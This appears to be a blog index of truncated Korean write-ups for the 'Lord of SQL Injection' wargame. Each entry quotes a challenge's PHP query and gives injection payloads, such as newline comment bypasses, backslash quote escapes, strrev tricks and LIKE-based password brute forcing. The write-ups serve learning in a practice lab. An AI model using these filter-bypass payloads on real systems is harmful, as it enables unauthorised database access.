WriteUp/LOS_rubiya

    LOS-rubiya : dark_eyes

    query : {$query}"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes"); highlight_file(__FILE__);?>pw 찾는 문제다.sleep _ prob ) . () 필터링 당한다. 이번에는 참 거짓 찾기가 어렵다.select 1 union select 2 를 이용해서..

    LOS-rubiya : iron_golem

    query : {$query}"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem"); highlight_file(__FILE__);?>pw 찾는 문제다 -> 파이썬 파일을 이용해서 질의 해줄 것이고, 이전에 사용했던 파일 재사용해서 쿼리 부분만 바꿀 예정이다.sleep _ prob ) . (..

    LOS-rubiya : dragon

    query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "Hello {$result[id]}"; if($result['id'] == 'admin') solve("dragon"); highlight_file(__FILE__); ?>입력은 pw로만 주고있는데, 주석이 앞에 있다. 개행해서 입력해주면 되겠다.%0a 이용하자. ?pw=1' %0a or id='admin'%23 이렇게 하면 guest로 로그인 된다. ?pw='%0a and id='admin' or id='admin'%23앞부분을 false로 만들어주고 하면 된다.

    LOS-rubiya : xavis

    query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "Hello {$result[id]}"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); highlight_fil..

    LOS-rubiya : nightmare

    6) exit("No Hack ~_~"); $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; echo "query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) solve("nightmare"); highlight_file(__FILE__); ?>id 값이 존재하면 되는 문제.길이가 6 이하여야 된다. 필터링 내용은  prob _ . () # - 주석 종류를 많이 막아놨다.;%00  주석이 남아있다 이제 ')=0;%00 을 넣어주면 된다. -> 문자열의..

    LOS-rubiya : Zombie_assassin

    query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) solve("zombie_assassin"); highlight_file(__FILE__); ?>id값을 가져오기만 하면 문제는 풀린다. 문제 자체에 strrev 함수와 addslashes 함수가 관건일거같은데 한번 알아보자 strrev 함수의 경우 문자열을 거꾸로 뒤집는 함수라고 한다. nimda 를 주면 admin으로 읽는 것이지.  이점을 이용해서 '를 \'에서 '\로 바꿀수 있다. pw 쿼리에 들어가길 원하는 것은.pw=''or 1=1%23 'or 1=1%23 를 입력값으로 주게되는데, 이것..

    LOS-rubiya : Succubus

    query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) solve("succubus"); highlight_file(__FILE__); ?>드디어 single quotation 을 우회하는 기법이다. \를 이용해서 '를 문자로 만들어버리면 된다.그러면  and pw= 가 id 의 입력값이 되어버리겠지?id=\&pw=or 1=1%23

    LOS-rubiya : Assassin

    query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "Hello {$result[id]}"; if($result['id'] == 'admin') solve("assassin"); highlight_file(__FILE__); ?>' 필터링 한다.그냥 찾아야하는거같은데, %붙으면 탐색하는 기능을 사용해보자.-> magic quote 라고했었던 거 같다. 일단 query 안에 들어가는 문자열을 찾아야 한다.파이썬으로 코드 짜서 보자.?pw=%________ 넣어서 비밀번호 길이가 8인것도 알았다.['0', '1', '2', '9', 'D', 'E'..

    LOS_rubiya : Giant

    LOS_rubiya : Giant

    query 가 이렇다.from 사이의 $_GET[shit] 에 공백을 넣어주면 해결된다. 공백문자를 시도해보자 %0a, %0b . . . %0b 가 된다. ?shit=%0b

    LOS_rubiya : Bugbear

    query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "Hello {$result[id]}"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); highlight..